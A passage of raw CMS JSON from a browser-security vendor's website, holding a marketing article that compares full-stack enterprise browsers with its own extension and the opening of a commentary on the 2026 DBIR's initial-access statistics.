annually",[26482],{"type":961},{},{"nodeType":865,"value":1048,"marks":26485,"data":26486},[],{},"Browser business case IB4",{"sys":26489,"__typename":9270,"content":26490,"name":26513,"title":59},{"id":25922},{"json":26491},{"nodeType":1739,"data":26492,"content":26493},{},[26494],{"nodeType":866,"data":26495,"content":26496},{},[26497,26501,26505,26510],{"nodeType":865,"value":26421,"marks":26498,"data":26500},[26499],{"type":961},{},{"nodeType":865,"value":26502,"marks":26503,"data":26504},"Push's automated inventory and continuous compliance evidence replaces approximately 1,000 hours of annual audit preparation effort, generating $8K–$25K in direct savings. The larger value is in risk avoidance: assuming a conservative 3–5% annual probability of a compliance-related financial event (e.g. a denied insurance claim or a regulatory fine) and an average impact of $5–8M, even a 30% reduction in that exposure represents $45K–$120K in expected annual value. ",[],{},{"nodeType":865,"value":26506,"marks":26507,"data":26509},"Combined: $50K–$150K",[26508],{"type":961},{},{"nodeType":865,"value":1048,"marks":26511,"data":26512},[],{},"Browser business case IB5",{"items":26515},[],{},"How to make the business case for browser security",{"items":26519},[26520,27217,27762],{"__typename":1788,"sys":26521,"content":26523,"title":27203,"synopsis":27204,"hashTags":59,"publishedDate":27205,"slug":27206,"tagsCollection":27207,"authorsCollection":27213},{"id":26522},"1ThCW6Cx8Zcq2flramQdoj",{"json":26524},{"data":26525,"content":26526,"nodeType":1739},{},[26527,26534,26541,26563,26570,26577,26584,26587,26595,26602,26620,26627,26634,26682,26689,26697,26704,26711,26718,26721,26729,26736,26748,26755,26763,26781,26787,26826,26832,26839,26851,26857,26864,26881,26889,26896,26915,26921,26929,26936,27089,27092,27100,27107,27114,27117,27125,27132,27144,27156,27168,27180,27187],{"data":26528,"content":26529,"nodeType":866},{},[26530],{"data":26531,"marks":26532,"value":26533,"nodeType":865},{},[],"At first, it may seem like an obvious choice, partly because the category name \"Secure Enterprise Browser\" implies the answer is a full-stack browser. Plus, the most visible vendors in the space have spent the past few years marketing that exact choice as the only one. ",{"data":26535,"content":26536,"nodeType":866},{},[26537],{"data":26538,"marks":26539,"value":26540,"nodeType":865},{},[],"But the market tells a different story. The majority of vendors Gartner places in the SEB category are now extensions rather than full browsers, and Gartner explicitly notes that extensions have become the preferred option. ",{"data":26542,"content":26543,"nodeType":11214},{},[26544],{"data":26545,"content":26546,"nodeType":866},{},[26547,26551,26559],{"data":26548,"marks":26549,"value":26550,"nodeType":865},{},[],"The buyer-side data tells the same story: In ",{"data":26552,"content":26553,"nodeType":882},{"uri":4378},[26554],{"data":26555,"marks":26556,"value":26558,"nodeType":865},{},[26557],{"type":997},"Omdia's 2026 survey of 400 IT and security professionals",{"data":26560,"marks":26561,"value":26562,"nodeType":865},{},[],", 48% of organizations cited the ability to use their existing browsers as an important attribute in a secure browsing solution.",{"data":26564,"content":26565,"nodeType":866},{},[26566],{"data":26567,"marks":26568,"value":26569,"nodeType":865},{},[],"The truth is: Full-stack enterprise browsers and browser security extensions like Push aren’t competing products. They serve different needs for different teams, though they often get evaluated against each other.",{"data":26571,"content":26572,"nodeType":866},{},[26573],{"data":26574,"marks":26575,"value":26576,"nodeType":865},{},[],"Full-stack enterprise browsers serve the IT team's need to control the workspace. Browser security extensions like Push meet the security team's need to protect their users as they work in their browsers — a fundamentally different problem. ",{"data":26578,"content":26579,"nodeType":866},{},[26580],{"data":26581,"marks":26582,"value":26583,"nodeType":865},{},[],"In this article, we’ll cover why a feature-by-feature checklist is the wrong approach when selecting a secure browser platform, and what questions to consider instead. We’ll also discuss what each type of solution excels at, where Push fits in, and how to map your needs to the right solution.",{"data":26585,"content":26586,"nodeType":953},{},[],{"data":26588,"content":26589,"nodeType":963},{},[26590],{"data":26591,"marks":26592,"value":26594,"nodeType":865},{},[26593],{"type":961},"Full-stack enterprise browsers meet the IT team's need to control a workspace",{"data":26596,"content":26597,"nodeType":866},{},[26598],{"data":26599,"marks":26600,"value":26601,"nodeType":865},{},[],"Full-stack enterprise browsers like Island, Prisma Browser, and SURF Security are best understood as managed workspace platforms rather than browsers in the conventional sense. ",{"data":26603,"content":26604,"nodeType":11214},{},[26605],{"data":26606,"content":26607,"nodeType":866},{},[26608,26612,26617],{"data":26609,"marks":26610,"value":26611,"nodeType":865},{},[],"Island's own CEO Mike Fey has described the company's strategy as transforming the browser into ",{"data":26613,"marks":26614,"value":26616,"nodeType":865},{},[26615],{"type":944},"\"a centralized, enterprise-grade platform, eliminating layers of legacy IT infrastructure by building more functionality in the browser.\"",{"data":26618,"marks":26619,"value":3230,"nodeType":865},{},[],{"data":26621,"content":26622,"nodeType":866},{},[26623],{"data":26624,"marks":26625,"value":26626,"nodeType":865},{},[],"Chrome Enterprise and Edge for Business occupy a related space as productivity-suite browsers extended with native security controls, sold as part of the broader Google and Microsoft workplace stacks. Different products with different lineage, but all of them converge on the same owner: an IT organization solving for workspace control.",{"data":26628,"content":26629,"nodeType":866},{},[26630],{"data":26631,"marks":26632,"value":26633,"nodeType":865},{},[],"The IT team is trying to achieve workspace policy compliance and access governance. Their primary use case is typically reducing reliance on legacy IT tools like VDI, VPN, remote browser isolation, DaaS, web filtering, and CASBs. In this world, the use cases look like: ",{"data":26635,"content":26636,"nodeType":1049},{},[26637,26652,26667],{"data":26638,"content":26639,"nodeType":1003},{},[26640],{"data":26641,"content":26642,"nodeType":866},{},[26643,26648],{"data":26644,"marks":26645,"value":26647,"nodeType":865},{},[26646],{"type":961},"Securing third-party contractors or BYOD",{"data":26649,"marks":26650,"value":26651,"nodeType":865},{},[]," where the workspace itself is the access control. ",{"data":26653,"content":26654,"nodeType":1003},{},[26655],{"data":26656,"content":26657,"nodeType":866},{},[26658,26663],{"data":26659,"marks":26660,"value":26662,"nodeType":865},{},[26661],{"type":961},"Regulated populations",{"data":26664,"marks":26665,"value":26666,"nodeType":865},{},[]," like call centers, BPO workforces, finance teams handling sensitive material, where output controls like watermarking, screenshot restriction, and print blocking need to be enforced at the OS rendering layer. ",{"data":26668,"content":26669,"nodeType":1003},{},[26670],{"data":26671,"content":26672,"nodeType":866},{},[26673,26678],{"data":26674,"marks":26675,"value":26677,"nodeType":865},{},[26676],{"type":961},"Legacy app support",{"data":26679,"marks":26680,"value":26681,"nodeType":865},{},[]," including IE-mode rendering for applications that have never been modernized. ",{"data":26683,"content":26684,"nodeType":866},{},[26685],{"data":26686,"marks":26687,"value":26688,"nodeType":865},{},[],"For these use cases, the architecture is well-suited, and there are numerous full-stack SEB solutions that address them well. Where the full-stack approach runs into trouble is in getting users to migrate onto a new browser and in justifying the cost of doing so. Both problems scale with the size of the workforce. ",{"data":26690,"content":26691,"nodeType":1458},{},[26692],{"data":26693,"marks":26694,"value":26696,"nodeType":865},{},[26695],{"type":961},"Cost of deployment is a significant blocker for full-stack browsers",{"data":26698,"content":26699,"nodeType":866},{},[26700],{"data":26701,"marks":26702,"value":26703,"nodeType":865},{},[],"The migration costs are easy to predict: deployment and configuration effort, help desk volume and — biggest of all — user resistance. But it’s the license cost that limits deployments in many organizations going from a free consumer browser to a paid replacement for the first time. ",{"data":26705,"content":26706,"nodeType":866},{},[26707],{"data":26708,"marks":26709,"value":26710,"nodeType":865},{},[],"In fact, Gartner notes that most buyers start with a single use case like covering contractors and rarely pursue organization-wide deployment for a full-stack enterprise browser. ",{"data":26712,"content":26713,"nodeType":866},{},[26714],{"data":26715,"marks":26716,"value":26717,"nodeType":865},{},[],"For organizations that do achieve a full-coverage deployment for these full-stack browsers, the need to manage drift in employee behavior over time gets harder. Agentic browsers like Comet, Atlas, and Dia are already starting to pull users toward AI-native workflows that consumer browsers don’t offer and full-stack enterprise browsers don’t currently match.",{"data":26719,"content":26720,"nodeType":953},{},[],{"data":26722,"content":26723,"nodeType":963},{},[26724],{"data":26725,"marks":26726,"value":26728,"nodeType":865},{},[26727],{"type":961},"What a browser security extension built for the security team looks like",{"data":26730,"content":26731,"nodeType":866},{},[26732],{"data":26733,"marks":26734,"value":26735,"nodeType":865},{},[],"Most browser security extensions on the market were built to address this migration hurdle. They attempt to take as many of the features of a full-stack browser as possible, but make it possible to deploy into users’ existing browsers, sidestepping a lot of the cost and rollout problems.",{"data":26737,"content":26738,"nodeType":866},{},[26739,26743],{"data":26740,"marks":26741,"value":26742,"nodeType":865},{},[],"LayerX, Seraphic, SquareX, and Keep Aware have all at some point echoed this approach in their product descriptions with the line ",{"data":26744,"marks":26745,"value":26747,"nodeType":865},{},[26746],{"type":944},"\"make any browser an enterprise browser.\"",{"data":26749,"content":26750,"nodeType":866},{},[26751],{"data":26752,"marks":26753,"value":26754,"nodeType":865},{},[],"Ultimately, that approach is still aimed at solving problems for the IT team more than the security team.",{"data":26756,"content":26757,"nodeType":1458},{},[26758],{"data":26759,"marks":26760,"value":26762,"nodeType":865},{},[26761],{"type":961},"Push is different — we built a browser extension to meet the security team's needs",{"data":26764,"content":26765,"nodeType":866},{},[26766,26770,26778],{"data":26767,"marks":26768,"value":26769,"nodeType":865},{},[],"Push set out to meet a different need. Our team's background has always been in defending organizations against advanced attacks. We spent our careers working in red and blue teams throughout the network and endpoint eras of cyber attacks. The mission we started with in 2022 was to defend organizations against the ",{"data":26771,"content":26772,"nodeType":882},{"uri":5636},[26773],{"data":26774,"marks":26775,"value":26777,"nodeType":865},{},[26776],{"type":997},"new era of damaging cyber attacks that originate in the browser",{"data":26779,"marks":26780,"value":22525,"nodeType":865},{},[],{"data":26782,"content":26786,"nodeType":925},{"target":26783},{"sys":26784},{"id":26785,"type":922,"linkType":923},"6BwJl8ZkiMore2o1BKx2w6",[],{"data":26788,"content":26789,"nodeType":866},{},[26790,26794,26802,26806,26811,26815,26823],{"data":26791,"marks":26792,"value":26793,"nodeType":865},{},[],"We chose a browser extension as the approach for our solution, not because we wanted to build an easier-to-deploy enterprise browser, but so we could use it as a security agent to collect high-fidelity telemetry for TTP-based detections, and apply real-time controls to stop attacks at the earliest opportunity in the modern  — ",{"data":26795,"content":26796,"nodeType":882},{"uri":18999},[26797],{"data":26798,"marks":26799,"value":26801,"nodeType":865},{},[26800],{"type":997},"browser and identity native",{"data":26803,"marks":26804,"value":26805,"nodeType":865},{},[],"  — kill chain. ",{"data":26807,"marks":26808,"value":26810,"nodeType":865},{},[26809],{"type":961},"In effect, we created EDR, but for the browser. ",{"data":26812,"marks":26813,"value":26814,"nodeType":865},{},[],"This is what gives Push the edge compared to other Secure Enterprise Browser solutions when it comes to tackling the highest priority threats in the browser — ",{"data":26816,"content":26817,"nodeType":882},{"uri":8870},[26818],{"data":26819,"marks":26820,"value":26822,"nodeType":865},{},[26821],{"type":997},"we’re optimized for this problem area",{"data":26824,"marks":26825,"value":22525,"nodeType":865},{},[],{"data":26827,"content":26831,"nodeType":925},{"target":26828},{"sys":26829},{"id":26830,"type":922,"linkType":923},"4nGzT9cNG0Yid93uUCCuTt",[],{"data":26833,"content":26834,"nodeType":866},{},[26835],{"data":26836,"marks":26837,"value":26838,"nodeType":865},{},[],"For a security team using Push’s extension, this means attacks get stopped at the earliest opportunity in the kill chain and before they cause harm. ",{"data":26840,"content":26841,"nodeType":866},{},[26842,26846],{"data":26843,"marks":26844,"value":26845,"nodeType":865},{},[],"When a user lands on a phishing page built to harvest their credentials, Push sees the page rendering and the JavaScript executing inside the DOM, and can block the credential submission before the form posts. When a user is being walked through a ClickFix or ConsentFix social engineering flow, Push sees the clipboard writes and the OAuth consent flow parameters being prepared, and can intervene before the user completes the action. When a session token is stolen and replayed against a different device, Push sees the session activity and surfaces the compromise. ",{"data":26847,"marks":26848,"value":26850,"nodeType":865},{},[26849],{"type":961},"Push does all of this from a browser extension, without needing to replace the user's browser. ",{"data":26852,"content":26856,"nodeType":925},{"target":26853},{"sys":26854},{"id":26855,"type":922,"linkType":923},"1FZEbn0K80d1jHRRTk7kL7",[],{"data":26858,"content":26859,"nodeType":866},{},[26860],{"data":26861,"marks":26862,"value":26863,"nodeType":865},{},[],"The same underlying technology also addresses other high-value security use cases: Visibility and control over AI usage; hardening identities and surfacing shadow IT; and supporting insider investigations and preventing data loss. ",{"data":26865,"content":26866,"nodeType":866},{},[26867,26870,26877],{"data":26868,"marks":26869,"value":873,"nodeType":865},{},[],{"data":26871,"content":26872,"nodeType":882},{"uri":25940},[26873],{"data":26874,"marks":26875,"value":26876,"nodeType":865},{},[],"highest-value use cases",{"data":26878,"marks":26879,"value":26880,"nodeType":865},{},[]," the browser can address are all powered by the same underlying technical capability, which is why Push's single extension can address four major security use cases rather than four separate tools needing four separate deployments. The success metric for security teams using Push is attacks averted or stopped, cyber risk reduced, and security posture and resilience strengthened — not workspace policy compliance.",{"data":26882,"content":26883,"nodeType":1458},{},[26884],{"data":26885,"marks":26886,"value":26888,"nodeType":865},{},[26887],{"type":961},"Proven at scale: What security leaders are saying",{"data":26890,"content":26891,"nodeType":866},{},[26892],{"data":26893,"marks":26894,"value":26895,"nodeType":865},{},[],"Push launched its browser extension in 2022, making it one of the first and longest-running browser security extensions in the category, and it is now deployed across more than three million browsers worldwide.",{"data":26897,"content":26898,"nodeType":866},{},[26899,26903,26911],{"data":26900,"marks":26901,"value":26902,"nodeType":865},{},[],"Many ",{"data":26904,"content":26905,"nodeType":882},{"uri":26050},[26906],{"data":26907,"marks":26908,"value":26910,"nodeType":865},{},[26909],{"type":997},"Push customers",{"data":26912,"marks":26913,"value":26914,"nodeType":865},{},[]," were initially considering full-stack enterprise browsers, but found that Push provided all the visibility and control they needed without the migration headache.",{"data":26916,"content":26920,"nodeType":925},{"target":26917},{"sys":26918},{"id":26919,"type":922,"linkType":923},"4RDIOAuVN10mZCtjltJCB4",[],{"data":26922,"content":26923,"nodeType":1458},{},[26924],{"data":26925,"marks":26926,"value":26928,"nodeType":865},{},[26927],{"type":961},"The extension matters, but it's what we built around it that really counts",{"data":26930,"content":26931,"nodeType":866},{},[26932],{"data":26933,"marks":26934,"value":26935,"nodeType":865},{},[],"The extension is the most visible part of the Push platform, but what Push has built around it makes the solution the most powerful security tool in the browser:",{"data":26937,"content":26938,"nodeType":1049},{},[26939,26984,27021,27059,27074],{"data":26940,"content":26941,"nodeType":1003},{},[26942],{"data":26943,"content":26944,"nodeType":866},{},[26945,26950,26954,26960,26963,26970,26974,26980],{"data":26946,"marks":26947,"value":26949,"nodeType":865},{},[26948],{"type":961},"In-house threat research that discovers attack techniques as they emerge.",{"data":26951,"marks":26952,"value":26953,"nodeType":865},{},[]," Push researchers track real-world adversary activity and discover new techniques as they appear, including ",{"data":26955,"content":26956,"nodeType":882},{"uri":11102},[26957],{"data":26958,"marks":26959,"value":11095,"nodeType":865},{},[],{"data":26961,"marks":26962,"value":26083,"nodeType":865},{},[],{"data":26964,"content":26965,"nodeType":882},{"uri":11342},[26966],{"data":26967,"marks":26968,"value":26969,"nodeType":865},{},[]," InstallFix",{"data":26971,"marks":26972,"value":26973,"nodeType":865},{},[],", and creating the ",{"data":26975,"content":26976,"nodeType":882},{"uri":3620},[26977],{"data":26978,"marks":26979,"value":15454,"nodeType":865},{},[],{"data":26981,"marks":26982,"value":26983,"nodeType":865},{},[],". Detection is only as good as the threat understanding behind it, and research is what keeps that understanding ahead of what attackers are doing in the wild.",{"data":26985,"content":26986,"nodeType":1003},{},[26987],{"data":26988,"content":26989,"nodeType":866},{},[26990,26995,26999,27005,27009,27017],{"data":26991,"marks":26992,"value":26994,"nodeType":865},{},[26993],{"type":961},"Agentic threat hunting and detection engineering at machine speed.",{"data":26996,"marks":26997,"value":26998,"nodeType":865},{},[]," Push's ",{"data":27000,"content":27001,"nodeType":882},{"uri":3643},[27002],{"data":27003,"marks":27004,"value":3649,"nodeType":865},{},[],{"data":27006,"marks":27007,"value":27008,"nodeType":865},{},[]," operationalizes the research, generating new behavioral detections in minutes rather than quarterly releases — covering the ",{"data":27010,"content":27012,"nodeType":882},{"uri":27011},"https://pushsecurity.com/blog/how-the-browser-became-the-main-cyber-battleground/",[27013],{"data":27014,"marks":27015,"value":27016,"nodeType":865},{},[],"techniques behind the Scattered Spider, Scattered Lapsus$ Hunters, and ShinyHunters breaches",{"data":27018,"marks":27019,"value":27020,"nodeType":865},{},[]," of the past three years. Attackers are using AI to accelerate the pace at which they generate new lures, kits, and infrastructure; Push keeps security teams in front by advancing the capability at machine speed and scale.",{"data":27022,"content":27023,"nodeType":1003},{},[27024],{"data":27025,"content":27026,"nodeType":866},{},[27027,27032,27036,27043,27047,27055],{"data":27028,"marks":27029,"value":27031,"nodeType":865},{},[27030],{"type":961},"Collecting the right telemetry to surface both attacker behavior and risky user action.",{"data":27033,"marks":27034,"value":27035,"nodeType":865},{},[]," Telemetry by itself is just data — the value comes from knowing what to collect, why it matters, and how to turn it into detections and controls. Push combines deep instrumentation of the browser with the expertise to use what we collect: the same browser-layer telemetry that detects AiTM kits, ClickFix and ConsentFix lures, and session token replay also surfaces what users are pasting into AI tools, which ",{"data":27037,"content":27038,"nodeType":882},{"uri":10340},[27039],{"data":27040,"marks":27041,"value":27042,"nodeType":865},{},[],"SaaS apps they're logging into outside the IdP",{"data":27044,"marks":27045,"value":27046,"nodeType":865},{},[],", which OAuth grants are being made, and which ",{"data":27048,"content":27050,"nodeType":882},{"uri":27049},"https://pushsecurity.com/blog/browser-extension-management-guide/",[27051],{"data":27052,"marks":27053,"value":27054,"nodeType":865},{},[],"extensions are running in their browsers",{"data":27056,"marks":27057,"value":27058,"nodeType":865},{},[],". The threat detection and the identity, AI, and DLP use cases are not separate features — they are different applications of the same underlying telemetry, surfaced because Push knows what to look for.",{"data":27060,"content":27061,"nodeType":1003},{},[27062],{"data":27063,"content":27064,"nodeType":866},{},[27065,27070],{"data":27066,"marks":27067,"value":27069,"nodeType":865},{},[27068],{"type":961},"Enforcing the right controls at the right place at the right moment.",{"data":27071,"marks":27072,"value":27073,"nodeType":865},{},[]," Visibility without actionability is only half a solution. Push turns the browser into a strong control point for stopping attacks and risky user behaviors in real time — reusing passwords, intercepting credential submission to non-IdP domains, blocking ClickFix clipboard payloads before paste-execute, prompting MFA enrollment at the point of login, warning on weak or breached passwords at credential entry, and surfacing app banners that communicate policy at the moment of use. The same control surface that stops attackers stops the user's mistakes that lead to the next breach.",{"data":27075,"content":27076,"nodeType":1003},{},[27077],{"data":27078,"content":27079,"nodeType":866},{},[27080,27085],{"data":27081,"marks":27082,"value":27084,"nodeType":865},{},[27083],{"type":961},"Balancing security and privacy.",{"data":27086,"marks":27087,"value":27088,"nodeType":865},{},[]," Push is designed to give security teams the telemetry they need without monitoring personal browsing. By default, only logins to configured corporate domains are observed; personal browsing is not collected. (Though administrators have the option to observe personal account logins to work apps, and identify where browsers are being synced to personal accounts, which can result in password loss.) Plaintext passwords and form inputs are never transmitted — passwords are analyzed locally using salted partial hashes. Broader browser metadata is stored on the device and only transmitted when it matches a detection rule. Push does not train AI models on customer telemetry.",{"data":27090,"content":27091,"nodeType":953},{},[],{"data":27093,"content":27094,"nodeType":963},{},[27095],{"data":27096,"marks":27097,"value":27099,"nodeType":865},{},[27098],{"type":961},"Full-stack enterprise browsers and Push’s browser extension are not mutually exclusive",{"data":27101,"content":27102,"nodeType":866},{},[27103],{"data":27104,"marks":27105,"value":27106,"nodeType":865},{},[],"It’s worth pausing on a point that often gets lost in the way the market discusses this choice. Full-stack enterprise browsers and Push’s extension-based solution are not mutually exclusive. They do different things for different teams, and they run together. ",{"data":27108,"content":27109,"nodeType":866},{},[27110],{"data":27111,"marks":27112,"value":27113,"nodeType":865},{},[],"Push supports enterprise browsers like Island and Prisma Browser. Many of Push’s customers use a full-stack browser for the contractor population or regulated workload where the IT team needs workspace controls, and Push across the rest of the workforce to provide the deep security capabilities that the IT team is not measured on but the security team is. The right framing for many enterprises is not whether to choose full-stack or extension. It is full-stack for the IT use cases that need it, and Push everywhere else.",{"data":27115,"content":27116,"nodeType":953},{},[],{"data":27118,"content":27119,"nodeType":963},{},[27120],{"data":27121,"marks":27122,"value":27124,"nodeType":865},{},[27123],{"type":961},"Which one is right for your security team?",{"data":27126,"content":27127,"nodeType":866},{},[27128],{"data":27129,"marks":27130,"value":27131,"nodeType":865},{},[],"The answer follows from the need you are trying to meet. The scenarios below cover the most common real-world situations and the approach that fits each.",{"data":27133,"content":27134,"nodeType":866},{},[27135,27140],{"data":27136,"marks":27137,"value":27139,"nodeType":865},{},[27138],{"type":961},"Is your priority detecting and stopping attacks in the browser?",{"data":27141,"marks":27142,"value":27143,"nodeType":865},{},[]," Go with Push. Push detects and stops the threats actually breaching enterprises — AiTM phishing, ClickFix, OAuth abuse, malicious browser extensions. It also provides valuable additional insight during investigations to understand incidents better and decide how to respond to them. ",{"data":27145,"content":27146,"nodeType":866},{},[27147,27152],{"data":27148,"marks":27149,"value":27151,"nodeType":865},{},[27150],{"type":961},"Do you have a large contractor or third-party population needing locked-down workspace controls?",{"data":27153,"marks":27154,"value":27155,"nodeType":865},{},[]," Use a full-stack enterprise browser for that population and Push for everyone else. Watermarking, screenshot blocking and print restriction are OS-level controls that extensions cannot reliably replicate.",{"data":27157,"content":27158,"nodeType":866},{},[27159,27164],{"data":27160,"marks":27161,"value":27163,"nodeType":865},{},[27162],{"type":961},"Do you have a multi-browser estate including a mix of consumer and agentic browsers?",{"data":27165,"marks":27166,"value":27167,"nodeType":865},{},[]," Push will provide the coverage you need to secure users. The browser options are growing, and locking your workforce into a single corporate browser becomes harder every time a new productivity-shaping browser ships. Push regularly adds support for emerging browsers.",{"data":27169,"content":27170,"nodeType":866},{},[27171,27176],{"data":27172,"marks":27173,"value":27175,"nodeType":865},{},[27174],{"type":961},"Is significant BYOD or unmanaged-device coverage required.",{"data":27177,"marks":27178,"value":27179,"nodeType":865},{},[]," Push is a great option, particularly if you also have Chromebooks that fall outside of your EDR coverage. The extension can easily be installed via email or landing page self-enrollment, with options to enforce coverage through conditional access policies. This provides full threat detection and policy enforcement on devices the organization does not own.",{"data":27181,"content":27182,"nodeType":866},{},[27183],{"data":27184,"marks":27185,"value":27186,"nodeType":865},{},[],"In short, if you are solving for workspace control, the right tool is a full-stack enterprise browser. If you’re solving for protecting users as they work in their browsers, Push is the tool built specifically for that need — with the research depth, detection engineering, and operational scale to do the job.",{"data":27188,"content":27189,"nodeType":866},{},[27190,27193,27200],{"data":27191,"marks":27192,"value":21,"nodeType":865},{},[],{"data":27194,"content":27195,"nodeType":882},{"uri":1728},[27196],{"data":27197,"marks":27198,"value":9249,"nodeType":865},{},[27199],{"type":997},{"data":27201,"marks":27202,"value":1048,"nodeType":865},{},[],"Enterprise browser vs. browser extension: Which should your security team choose?","If you're building a shortlist of browser security vendors, do you need a full-stack enterprise browser, or browser security extension? ","2026-05-21T00:00:00.000Z","enterprise-browser-vs-browser-extension-which-should-your-security-team-choose",{"items":27208},[27209,27211],{"sys":27210,"name":297},{"id":2828},{"sys":27212,"name":2825},{"id":2824},{"items":27214},[27215],{"fullName":5029,"firstName":5030,"jobTitle":3776,"profilePicture":27216},{"url":5032},{"__typename":1788,"sys":27218,"content":27220,"title":27748,"synopsis":27749,"hashTags":59,"publishedDate":27750,"slug":27751,"tagsCollection":27752,"authorsCollection":27758},{"id":27219},"7sZs2lHCTN8oYc2OIGCIQG",{"json":27221},{"data":27222,"content":27223,"nodeType":1739},{},[27224,27231,27234,27242,27258,27265,27272,27278,27286,27293,27300,27306,27323,27328,27344,27352,27368,27375,27382,27385,27393,27409,27415,27433,27439,27447,27470,27477,27480,27488,27495,27501,27508,27526,27534,27550,27553,27561,27577,27584,27591,27609,27612,27620,27627,27634,27641,27647,27655,27671,27678,27695,27698,27706,27713,27720,27726,27732],{"data":27225,"content":27226,"nodeType":866},{},[27227],{"data":27228,"marks":27229,"value":27230,"nodeType":865},{},[],"The headline finding getting the most airtime in 2026 is that vulnerability exploitation has overtaken credential abuse as the top single initial access vector, jumping to 31% from 20% the year before. The vulnerability management crisis driving this statistic is one of the most important stories in this year's data. But reading it as evidence that identity threats are receding would be a mistake, because the DBIR's own data tells a more complicated and more useful story when you look at the full picture.",{"data":27232,"content":27233,"nodeType":953},{},[],{"data":27235,"content":27236,"nodeType":963},{},[27237],{"data":27238,"marks":27239,"value":27241,"nodeType":865},{},[27240],{"type":961},"Vulnerability exploitation has caught up with identity — not replaced it",{"data":27243,"content":27244,"nodeType":866},{},[27245,27249,27254],{"data":27246,"marks":27247,"value":27248,"nodeType":865},{},[],"The DBIR's headline comparison pits vulnerability exploitation (31%) against credential abuse (13%) as individual vectors. That comparison is accurate but incomplete, because the DBIR tracks identity-related initial access across ",{"data":27250,"marks":27251,"value":27253,"nodeType":865},{},[27252],{"type":961},"three",{"data":27255,"marks":27256,"value":27257,"nodeType":865},{},[]," separate categories: phishing (16%), credential abuse (13%), and pretexting (6%). Before interpreting those numbers, there's a methodological wrinkle worth understanding.",{"data":27259,"content":27260,"nodeType":866},{},[27261],{"data":27262,"marks":27263,"value":27264,"nodeType":865},{},[],"This year's report added pretexting as a newly tracked initial access vector, reclassifying some incidents previously counted as credential abuse. The DBIR is transparent about the effect: without that change, credential abuse would have been 16% rather than 13%. On an apples-to-apples basis, identity-related initial access (phishing 16% + credential abuse 16%) comes to 32% — versus 31% for vulnerability exploitation.",{"data":27266,"content":27267,"nodeType":866},{},[27268],{"data":27269,"marks":27270,"value":27271,"nodeType":865},{},[],"To be precise about what moved: phishing held roughly flat year over year, but credential abuse saw a modest decline even on the adjusted basis (from 22% to 16%). Overall, the identity picture is broadly stable. The reason the two categories have converged is that vulnerability exploitation surged 55%, not that identity attacks meaningfully receded.",{"data":27273,"content":27277,"nodeType":925},{"target":27274},{"sys":27275},{"id":27276,"type":922,"linkType":923},"5GvSsSY4R6X34ZBMidZ54X",[],{"data":27279,"content":27280,"nodeType":1458},{},[27281],{"data":27282,"marks":27283,"value":27285,"nodeType":865},{},[27284],{"type":961},"The taxonomy gap",{"data":27287,"content":27288,"nodeType":866},{},[27289],{"data":27290,"marks":27291,"value":27292,"nodeType":865},{},[],"It's also worth asking how much the DBIR's initial access taxonomy can tell us. The figure that everyone is citing — Figure 10 — is labelled \"select enumerations,\" and the four tracked vectors (vulnerability exploitation, phishing, credential abuse, pretexting) add up to only 66% of initial access. A third of the picture isn't represented in the headline breakdown at all.",{"data":27294,"content":27295,"nodeType":866},{},[27296],{"data":27297,"marks":27298,"value":27299,"nodeType":865},{},[],"The cluster boundaries and where you draw them also changes the story. The DBIR classifies ClickFix under \"baiting\" — a category that covers malicious downloads and SEO poisoning — rather than phishing, even though the end goal is often the same: getting a user to execute something they shouldn't. Pretexting absorbed incidents that were previously credential abuse, shifting the numbers between categories. These are useful analytical clusters, but they aren't clean divisions of a neatly partitioned attack surface.",{"data":27301,"content":27305,"nodeType":925},{"target":27302},{"sys":27303},{"id":27304,"type":922,"linkType":923},"7t6ZcHDycaPOyLstX4r8zl",[],{"data":27307,"content":27308,"nodeType":866},{},[27309,27313,27320],{"data":27310,"marks":27311,"value":27312,"nodeType":865},{},[],"These are identity attacks at scale, and it isn't clear where — or whether — they show up in the DBIR's initial access vectors. This lack of depth in identity and in-browser attack vectors is common in many defensive models, which is why we've created our own ",{"data":27314,"content":27315,"nodeType":882},{"uri":18999},[27316],{"data":27317,"marks":27318,"value":27319,"nodeType":865},{},[],"Browser and Identity Attacks Matrix",{"data":27321,"marks":27322,"value":1048,"nodeType":865},{},[],{"data":27324,"content":27327,"nodeType":925},{"target":27325},{"sys":27326},{"id":15574,"type":922,"linkType":923},[],{"data":27329,"content":27330,"nodeType":866},{},[27331,27335,27340],{"data":27332,"marks":27333,"value":27334,"nodeType":865},{},[],"That convergence at initial access also understates the role credentials play across full breach chains. The DBIR states plainly that credential abuse at any point in the breach progression — not just as the first action — appears in ",{"data":27336,"marks":27337,"value":27339,"nodeType":865},{},[27338],{"type":961},"39% of all breaches",{"data":27341,"marks":27342,"value":27343,"nodeType":865},{},[],", making it the single most pervasive technique in the dataset. Credentials don't just open the front door; they unlock lateral movement, privilege escalation, and persistence throughout the attack chain.",{"data":27345,"content":27346,"nodeType":1458},{},[27347],{"data":27348,"marks":27349,"value":27351,"nodeType":865},{},[27350],{"type":961},"The vulnerability treadmill",{"data":27353,"content":27354,"nodeType":866},{},[27355,27359,27364],{"data":27356,"marks":27357,"value":27358,"nodeType":865},{},[],"The vulnerability exploitation surge itself is driven by a structural capacity crisis rather than a shift in attacker preference. Edge devices and VPNs now account for 22% of vulnerability-exploitation breaches, up from 3% the prior year — a ",{"data":27360,"marks":27361,"value":27363,"nodeType":865},{},[27362],{"type":944},"sevenfold",{"data":27365,"marks":27366,"value":27367,"nodeType":865},{},[]," increase. Organizations face 50% more CISA KEV vulnerabilities to remediate than a year ago, median remediation time has increased from 32 to 43 days, and the volume of vulnerability records in the dataset has grown roughly eightfold.",{"data":27369,"content":27370,"nodeType":866},{},[27371],{"data":27372,"marks":27373,"value":27374,"nodeType":865},{},[],"This trend was already visible in last year's DBIR, when vulnerability exploitation jumped from 15% to 20%. AI-assisted exploit development may be compounding the problem — the DBIR's own data shows 32% of AI-assisted initial access targeting vulnerability exploitation — but the structural capacity crisis was accelerating well before AI became a meaningful factor in the attacker toolkit.",{"data":27376,"content":27377,"nodeType":866},{},[27378],{"data":27379,"marks":27380,"value":27381,"nodeType":865},{},[],"The vulnerability treadmill is accelerating, and the DBIR's remediation data shows defenders losing ground. But this is an additive problem, not a substitution. Both attack surfaces are growing. ",{"data":27383,"content":27384,"nodeType":953},{},[],{"data":27386,"content":27387,"nodeType":963},{},[27388],{"data":27389,"marks":27390,"value":27392,"nodeType":865},{},[27391],{"type":961},"Phishing has left the inbox",{"data":27394,"content":27395,"nodeType":866},{},[27396,27400,27405],{"data":27397,"marks":27398,"value":27399,"nodeType":865},{},[],"41% percent of social engineering breaches now involve vectors other than email, with approximately a quarter coming from social media or phone-based channels. Voice phishing simulations show a 